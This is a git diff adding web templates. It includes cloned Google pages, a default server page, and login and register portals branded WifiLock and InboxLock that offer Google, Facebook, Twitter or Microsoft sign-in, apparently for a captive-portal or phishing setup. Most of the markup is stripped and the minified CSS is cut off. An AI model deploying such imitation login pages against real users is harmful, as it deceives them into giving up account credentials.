    + + \ No newline at end of file diff --git a/templates/www/google/www.google.com/services/index.html b/templates/www/google/www.google.com/services/index.html new file mode 100644 index 0000000..e9d4161 --- /dev/null +++ b/templates/www/google/www.google.com/services/index.html @@ -0,0 +1,251 @@ + + + + + + + + + + + + Google Business Solutions + + + + + + + + + + + + +
    +
    +
    +
    +
    +
    +
    +

    + Get your business on Google today +

    +

    + Be found by the right customers +

    +

    + New – Google My Business lets you reach customers + across Google Search, Maps, Google+, and their mobile devices for free. +

    +

    + + Learn more +

    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +

    + Get your business on Google today +

    +

    + Give customers the right info +

    +

    + Easily update your address, hours, and contact information across Google. +

    +

    + + Learn more +

    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +

    + Get your business on Google today +

    +

    + Connect with customers +

    +

    + Share what’s new and respond to customer feedback as you receive it. +

    +

    + + Learn more +

    +
    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +

    + More ways to grow your business +

    +
    +
    +

    + Advertise on Google +

    +

    + Google AdWords helps you find new customers who are looking for what you have to + offer. +

    +

    + + Learn more +

    +
    +

    + If you prefer, we'll set up your ad for you, free of charge.
    + Just call us at 1 877 906-7957* or + request a callback. +

    +
    +
    +
    +

    + Improve how you work +

    +

    + Google Apps helps you be more productive from anywhere with online email, calendar, + and docs. +

    +

    + + Learn more +

    +
    +
    +

    + Optimize your website +

    +

    + Google Analytics helps you learn about your website so you can make it more + useful for visitors. +

    +

    + + Learn more +

    +
    +
    +
    +
    +
    + + + + + \ No newline at end of file diff --git a/templates/www/google/www.google.com/webhp3d1f.html b/templates/www/google/www.google.com/webhp3d1f.html new file mode 100644 index 0000000..4687c15 --- /dev/null +++ b/templates/www/google/www.google.com/webhp3d1f.html @@ -0,0 +1,37 @@ + + + +Google



     
     
       Advanced search
       Language tools

    © 2013 - Privacy & Terms

    + + \ No newline at end of file diff --git a/templates/www/index.html b/templates/www/index.html new file mode 100644 index 0000000..1c70d95 --- /dev/null +++ b/templates/www/index.html @@ -0,0 +1,4 @@ +

    It works!

    +

    This is the default web page for this server.

    +

    The web server software is running but no content has been added, yet.

    + diff --git a/templates/www/portal/About.aspx.html b/templates/www/portal/About.aspx.html new file mode 100644 index 0000000..59223a9 --- /dev/null +++ b/templates/www/portal/About.aspx.html @@ -0,0 +1,113 @@ + + + + + + + + + + About + + + + + + +
    + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    +
    +

    © - WifiLock.com

    +
    +
    + + +
    + + Skip Navigation LinksLogin : About Us + + diff --git a/templates/www/portal/Account/Login b/templates/www/portal/Account/Login new file mode 100644 index 0000000..af8b1d6 --- /dev/null +++ b/templates/www/portal/Account/Login @@ -0,0 +1,264 @@ + + + + + + + + + + Log in to InboxLock using your Google Facebook Twitter or Microsoft account + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    +
    +

    © - InboxLock.com

    +
    +
    + + + + + + + +
    + + Skip Navigation LinksLogin + + diff --git a/templates/www/portal/Account/Login.html b/templates/www/portal/Account/Login.html new file mode 100644 index 0000000..643e406 --- /dev/null +++ b/templates/www/portal/Account/Login.html @@ -0,0 +1,233 @@ + + + + + + + + Log in to WifiLock using your Google Facebook Twitter or Microsoft account + + + + + + +
    + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    +
    +

    © - WifiLock.com

    +
    +
    + +
    + + + diff --git a/templates/www/portal/Account/Register b/templates/www/portal/Account/Register new file mode 100644 index 0000000..5034dad --- /dev/null +++ b/templates/www/portal/Account/Register @@ -0,0 +1,188 @@ + + + + + + + + + + Register + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    +
    +

    © - InboxLock.com

    +
    +
    + + + + + + + +
    + + Skip Navigation LinksLogin : Register + + diff --git a/templates/www/portal/Account/Register.aspx b/templates/www/portal/Account/Register.aspx new file mode 100644 index 0000000..17750c8 --- /dev/null +++ b/templates/www/portal/Account/Register.aspx @@ -0,0 +1,188 @@ + + + + + + + + + + Register + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    +
    +

    © - InboxLock.com

    +
    +
    + + + + + + + +
    + + Skip Navigation LinksLogin : Register + + diff --git a/templates/www/portal/Account/Register.aspx.html b/templates/www/portal/Account/Register.aspx.html new file mode 100644 index 0000000..d095383 --- /dev/null +++ b/templates/www/portal/Account/Register.aspx.html @@ -0,0 +1,168 @@ + + + + + + + + + + Register + + + + + + +
    + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    +
    +

    © - WifiLock.com

    +
    +
    + + + + + + + +
    + + Skip Navigation LinksLogin : Register + + diff --git a/templates/www/portal/Account/Register.html b/templates/www/portal/Account/Register.html new file mode 100644 index 0000000..967c17a --- /dev/null +++ b/templates/www/portal/Account/Register.html @@ -0,0 +1,188 @@ + + + + + + + + + + Register + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    +
    +

    © - InboxLock.com

    +
    +
    + + + + + + + +
    + + Skip Navigation LinksLogin : Register + + diff --git a/templates/www/portal/Contact.html b/templates/www/portal/Contact.html new file mode 100644 index 0000000..e3d1ba0 --- /dev/null +++ b/templates/www/portal/Contact.html @@ -0,0 +1,202 @@ + + + + + + + + + + Contact + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    +
    +

    © - InboxLock.com

    +
    +
    + + + + + + + +
    + + Skip Navigation LinksLogin : Contact Us + + diff --git a/templates/www/portal/Content/Site.css b/templates/www/portal/Content/Site.css new file mode 100644 index 0000000..88949ba --- /dev/null +++ b/templates/www/portal/Content/Site.css @@ -0,0 +1,42 @@ +.fb_button_rtl +{ + background: url(https://www.inboxlock.com/Content/images/bg_login.png) left top no-repeat; +} +/* Move down content because we have a fixed navbar that is 50px tall */ +body { + padding-top: 50px; + padding-bottom: 20px; + text-align: center; +} +.icon-microsoft +{ + background: url(https://www.inboxlock.com/Images/social_microsoft.png); + border: none; + height: 48px; + width: 48px; + cursor: pointer; + margin-right: 5px; +} +/* Wrapping element */ +/* Set some basic padding to keep content from hitting the edges */ +.body-content { + padding-left: 15px; + padding-right: 15px; +} + +/* Set widths on the form inputs since otherwise they're 100% wide */ +input[type="text"], +input[type="password"], +input[type="email"] { + max-width: 280px; +} + +/* Responsive: Portrait tablets and up */ +@media screen and (min-width: 768px) { + .jumbotron { + margin-top: 20px; + } + .body-content { + padding: 0; + } +} diff --git a/templates/www/portal/Content/bootstrap-theme.css b/templates/www/portal/Content/bootstrap-theme.css new file mode 100644 index 0000000..f3aa742 --- /dev/null +++ b/templates/www/portal/Content/bootstrap-theme.css @@ -0,0 +1,17 @@ +/*! normalize.css v2.1.3 | MIT License | git.io/normalize */article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}audio:not([controls]){display:none;height:0}[hidden],template{display:none}html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}a{background:transparent}a:focus{outline:thin dotted}a:active,a:hover{outline:0}h1{margin:.67em 0;font-size:2em}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}hr{height:0;-moz-box-sizing:content-box;box-sizing:content-box}mark{color:#000;background:#ff0}code,kbd,pre,samp{font-family:monospace,serif;font-size:1em}pre{white-space:pre-wrap}q{quotes:"\201C" "\201D" "\2018" "\2019"}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:0}fieldset{padding:.35em .625em .75em;margin:0 2px;border:1px solid #c0c0c0}legend{padding:0;border:0}button,input,select,textarea{margin:0;font-family:inherit;font-size:100%}button,input{line-height:normal}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{cursor:pointer;-webkit-appearance:button}button[disabled],html input[disabled]{cursor:default}input[type="checkbox"],input[type="radio"]{padding:0;box-sizing:border-box}input[type="search"]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}textarea{overflow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}@media print{*{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="javascript:"]:after,a[href^="#"]:after{content:""}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%!important}@page{margin:2cm .5cm}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}.navbar{display:none}.table td,.table th{background-color:#fff!important}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table-bordered th,.table-bordered td{border:1px solid #ddd!important}}*,*:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:62.5%;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.428571429;color:#555;background-color:#fff}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#2fa4e7;text-decoration:none}a:hover,a:focus{color:#157ab5;text-decoration:underline}a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}.img-responsive{display:block;height:auto;max-width:100%}.img-rounded{border-radius:6px}.img-thumbnail{display:inline-block;height:auto;max-width:100%;padding:4px;line-height:1.428571429;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:200;line-height:1.4}@media(min-width:768px){.lead{font-size:21px}}small,.small{font-size:85%}cite{font-style:normal}.text-muted{color:#999}.text-primary{color:#2fa4e7}.text-primary:hover{color:#178acc}.text-warning{color:#c09853}.text-warning:hover{color:#a47e3c}.text-danger{color:#b94a48}.text-danger:hover{color:#953b39}.text-success{color:#468847}.text-success:hover{color:#356635}.text-info{color:#3a87ad}.text-info:hover{color:#2d6987}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:500;line-height:1.1;color:#317eac}h1 small,h2 small,h3 small,h4 small,h5 small,h6 small,.h1 small,.h2 small,.h3 small,.h4 small,.h5 small,.h6 small,h1 .small,h2 .small,h3 .small,h4 .small,h5 .small,h6 .small,.h1 .small,.h2 .small,.h3 .small,.h4 .small,.h5 .small,.h6 .small{font-weight:normal;line-height:1;color:#999}h1,h2,h3{margin-top:20px;margin-bottom:10px}h1 small,h2 small,h3 small,h1 .small,h2 .small,h3 .small{font-size:65%}h4,h5,h6{margin-top:10px;margin-bottom:10px}h4 small,h5 small,h6 small,h4 .small,h5 .small,h6 .small{font-size:75%}h1,.h1{font-size:36px}h2,.h2{font-size:30px; + text-align: center; +}h3,.h3{font-size:24px}h4,.h4{font-size:18px}h5,.h5{font-size:14px}h6,.h6{font-size:12px}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ul,ol{margin-top:0;margin-bottom:10px}ul ul,ol ul,ul ol,ol ol{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}.list-inline>li:first-child{padding-left:0}dl{margin-bottom:20px}dt,dd{line-height:1.428571429}dt{font-weight:bold}dd{margin-left:0}@media(min-width:768px){.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}.dl-horizontal dd:before,.dl-horizontal dd:after{display:table;content:" "}.dl-horizontal dd:after{clear:both}.dl-horizontal dd:before,.dl-horizontal dd:after{display:table;content:" "}.dl-horizontal dd:after{clear:both}.dl-horizontal dd:before,.dl-horizontal dd:after{display:table;content:" "}.dl-horizontal dd:after{clear:both}.dl-horizontal dd:before,.dl-horizontal dd:after{display:table;content:" "}.dl-horizontal dd:after{clear:both}.dl-horizontal dd:before,.dl-horizontal dd:after{display:table;content:" "}.dl-horizontal dd:after{clear:both}}abbr[title],abbr[data-original-title]{cursor:help;border-bottom:1px dotted #999}abbr.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;border-left:5px solid #eee}blockquote p{font-size:17.5px;font-weight:300;line-height:1.25}blockquote p:last-child{margin-bottom:0}blockquote small{display:block;line-height:1.428571429;color:#999}blockquote small:before{content:'\2014 \00A0'}blockquote.pull-right{padding-right:15px;padding-left:0;border-right:5px solid #eee;border-left:0}blockquote.pull-right p,blockquote.pull-right small,blockquote.pull-right .small{text-align:right}blockquote.pull-right small:before,blockquote.pull-right .small:before{content:''}blockquote.pull-right small:after,blockquote.pull-right .small:after{content:'\00A0 \2014'}blockquote:before,blockquote:after{content:""}address{margin-bottom:20px;font-style:normal;line-height:1.428571429}code,kbd,pre,samp{font-family:Monaco,Menlo,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;white-space:nowrap;background-color:#f9f2f4;border-radius:4px}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.428571429;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.container:before,.container:after{display:table;content:" "}.container:after{clear:both}.container:before,.container:after{display:table;content:" "}.container:after{clear:both}.container:before,.container:after{display:table;content:" "}.container:after{clear:both}.container:before,.container:after{display:table;content:" "}.container:after{clear:both}.container:before,.container:after{display:table;content:" "}.container:after{clear:both}.row{margin-right:-15px;margin-left:-15px}.row:before,.row:after{display:table;content:" "}.row:after{clear:both}.row:before,.row:after{display:table;content:" "}.row:after{clear:both}.row:before,.row:after{display:table;content:" "}.row:after{clear:both}.row:before,.row:after{display:table;content:" "}.row:after{clear:both}.row:before,.row:after{display:table;content:" "}.row:after{clear:both}.col-xs-1,.col-sm-1,.col-md-1,.col-lg-1,.col-xs-2,.col-sm-2,.col-md-2,.col-lg-2,.col-xs-3,.col-sm-3,.col-md-3,.col-lg-3,.col-xs-4,.col-sm-4,.col-md-4,.col-lg-4,.col-xs-5,.col-sm-5,.col-md-5,.col-lg-5,.col-xs-6,.col-sm-6,.col-md-6,.col-lg-6,.col-xs-7,.col-sm-7,.col-md-7,.col-lg-7,.col-xs-8,.col-sm-8,.col-md-8,.col-lg-8,.col-xs-9,.col-sm-9,.col-md-9,.col-lg-9,.col-xs-10,.col-sm-10,.col-md-10,.col-lg-10,.col-xs-11,.col-sm-11,.col-md-11,.col-lg-11,.col-xs-12,.col-sm-12,.col-md-12,.col-lg-12{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666666666666%}.col-xs-10{width:83.33333333333334%}.col-xs-9{width:75%}.col-xs-8{width:66.66666666666666%}.col-xs-7{width:58.333333333333336%}.col-xs-6{width:50%}.col-xs-5{width:41.66666666666667%}.col-xs-4{width:33.33333333333333%}.col-xs-3{width:25%}.col-xs-2{width:16.666666666666664%}.col-xs-1{width:8.333333333333332%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666666666666%}.col-xs-pull-10{right:83.33333333333334%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666666666666%}.col-xs-pull-7{right:58.333333333333336%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666666666667%}.col-xs-pull-4{right:33.33333333333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.666666666666664%}.col-xs-pull-1{right:8.333333333333332%}.col-xs-pull-0{right:0}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666666666666%}.col-xs-push-10{left:83.33333333333334%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666666666666%}.col-xs-push-7{left:58.333333333333336%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666666666667%}.col-xs-push-4{left:33.33333333333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.666666666666664%}.col-xs-push-1{left:8.333333333333332%}.col-xs-push-0{left:0}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666666666666%}.col-xs-offset-10{margin-left:83.33333333333334%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666666666666%}.col-xs-offset-7{margin-left:58.333333333333336%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666666666667%}.col-xs-offset-4{margin-left:33.33333333333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.666666666666664%}.col-xs-offset-1{margin-left:8.333333333333332%}.col-xs-offset-0{margin-left:0}@media(min-width:768px){.container{width:750px}.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666666666666%}.col-sm-10{width:83.33333333333334%}.col-sm-9{width:75%}.col-sm-8{width:66.66666666666666%}.col-sm-7{width:58.333333333333336%}.col-sm-6{width:50%}.col-sm-5{width:41.66666666666667%}.col-sm-4{width:33.33333333333333%}.col-sm-3{width:25%}.col-sm-2{width:16.666666666666664%}.col-sm-1{width:8.333333333333332%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666666666666%}.col-sm-pull-10{right:83.33333333333334%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666666666666%}.col-sm-pull-7{right:58.333333333333336%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666666666667%}.col-sm-pull-4{right:33.33333333333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.666666666666664%}.col-sm-pull-1{right:8.333333333333332%}.col-sm-pull-0{right:0}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666666666666%}.col-sm-push-10{left:83.33333333333334%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666666666666%}.col-sm-push-7{left:58.333333333333336%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666666666667%}.col-sm-push-4{left:33.33333333333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.666666666666664%}.col-sm-push-1{left:8.333333333333332%}.col-sm-push-0{left:0}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666666666666%}.col-sm-offset-10{margin-left:83.33333333333334%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666666666666%}.col-sm-offset-7{margin-left:58.333333333333336%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666666666667%}.col-sm-offset-4{margin-left:33.33333333333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.666666666666664%}.col-sm-offset-1{margin-left:8.333333333333332%}.col-sm-offset-0{margin-left:0}}@media(min-width:992px){.container{width:970px}.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666666666666%}.col-md-10{width:83.33333333333334%}.col-md-9{width:75%}.col-md-8{width:66.66666666666666%}.col-md-7{width:58.333333333333336%}.col-md-6{width:50%}.col-md-5{width:41.66666666666667%}.col-md-4{width:33.33333333333333%}.col-md-3{width:25%}.col-md-2{width:16.666666666666664%}.col-md-1{width:8.333333333333332%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666666666666%}.col-md-pull-10{right:83.33333333333334%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666666666666%}.col-md-pull-7{right:58.333333333333336%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666666666667%}.col-md-pull-4{right:33.33333333333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.666666666666664%}.col-md-pull-1{right:8.333333333333332%}.col-md-pull-0{right:0}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666666666666%}.col-md-push-10{left:83.33333333333334%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666666666666%}.col-md-push-7{left:58.333333333333336%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666666666667%}.col-md-push-4{left:33.33333333333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.666666666666664%}.col-md-push-1{left:8.333333333333332%}.col-md-push-0{left:0}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666666666666%}.col-md-offset-10{margin-left:83.33333333333334%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666666666666%}.col-md-offset-7{margin-left:58.333333333333336%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666666666667%}.col-md-offset-4{margin-left:33.33333333333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.666666666666664%}.col-md-offset-1{margin-left:8.333333333333332%}.col-md-offset-0{margin-left:0}}@media(min-width:1200px){.container{width:1170px}.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666666666666%}.col-lg-10{width:83.33333333333334%}.col-lg-9{width:75%}.col-lg-8{width:66.66666666666666%}.col-lg-7{width:58.333333333333336%}.col-lg-6{width:50%}.col-lg-5{width:41.66666666666667%}.col-lg-4{width:33.33333333333333%}.col-lg-3{width:25%}.col-lg-2{width:16.666666666666664%}.col-lg-1{width:8.333333333333332%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666666666666%}.col-lg-pull-10{right:83.33333333333334%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666666666666%}.col-lg-pull-7{right:58.333333333333336%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666666666667%}.col-lg-pull-4{right:33.33333333333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.666666666666664%}.col-lg-pull-1{right:8.333333333333332%}.col-lg-pull-0{right:0}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666666666666%}.col-lg-push-10{left:83.33333333333334%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666666666666%}.col-lg-push-7{left:58.333333333333336%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666666666667%}.col-lg-push-4{left:33.33333333333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.666666666666664%}.col-lg-push-1{left:8.333333333333332%}.col-lg-push-0{left:0}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666666666666%}.col-lg-offset-10{margin-left:83.33333333333334%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666666666666%}.col-lg-offset-7{margin-left:58.333333333333336%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666666666667%}.col-lg-offset-4{margin-left:33.33333333333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.666666666666664%}.col-lg-offset-1{margin-left:8.333333333333332%}.col-lg-offset-0{margin-left:0}}table{max-width:100%;background-color:transparent}th{text-align:left}.table{width:100%;margin-bottom:20px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.428571429;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>td{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>thead>tr>th,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>tbody>tr>td,.table-condensed>tfoot>tr>td{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>thead>tr>th,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>td{border:1px solid #ddd}.table-bordered>thead>tr>th,.table-bordered>thead>tr>td{border-bottom-width:2px}.table-striped>tbody>tr:nth-child(odd)>td,.table-striped>tbody>tr:nth-child(odd)>th{background-color:#f9f9f9}.table-hover>tbody>tr:hover>td,.table-hover>tbody>tr:hover>th{background-color:#f5f5f5}table col[class*="col-"]{display:table-column;float:none}table td[class*="col-"],table th[class*="col-"]{display:table-cell;float:none}.table>thead>tr>td.active,.table>tbody>tr>td.active,.table>tfoot>tr>td.active,.table>thead>tr>th.active,.table>tbody>tr>th.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>tbody>tr.active>td,.table>tfoot>tr.active>td,.table>thead>tr.active>th,.table>tbody>tr.active>th,.table>tfoot>tr.active>th{background-color:#f5f5f5}.table>thead>tr>td.success,.table>tbody>tr>td.success,.table>tfoot>tr>td.success,.table>thead>tr>th.success,.table>tbody>tr>th.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>tbody>tr.success>td,.table>tfoot>tr.success>td,.table>thead>tr.success>th,.table>tbody>tr.success>th,.table>tfoot>tr.success>th{background-color:#dff0d8}.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover,.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th{background-color:#d0e9c6}.table>thead>tr>td.danger,.table>tbody>tr>td.danger,.table>tfoot>tr>td.danger,.table>thead>tr>th.danger,.table>tbody>tr>th.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>tbody>tr.danger>td,.table>tfoot>tr.danger>td,.table>thead>tr.danger>th,.table>tbody>tr.danger>th,.table>tfoot>tr.danger>th{background-color:#f2dede}.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover,.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th{background-color:#ebcccc}.table>thead>tr>td.warning,.table>tbody>tr>td.warning,.table>tfoot>tr>td.warning,.table>thead>tr>th.warning,.table>tbody>tr>th.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>tbody>tr.warning>td,.table>tfoot>tr.warning>td,.table>thead>tr.warning>th,.table>tbody>tr.warning>th,.table>tfoot>tr.warning>th{background-color:#fcf8e3}.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover,.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th{background-color:#faf2cc}@media(max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-x:scroll;overflow-y:hidden;border:1px solid #ddd;-ms-overflow-style:-ms-autohiding-scrollbar;-webkit-overflow-scrolling:touch}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>td{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0}}fieldset{padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#555;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;margin-bottom:5px;font-weight:bold}input[type="search"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type="radio"],input[type="checkbox"]{margin:4px 0 0;margin-top:1px 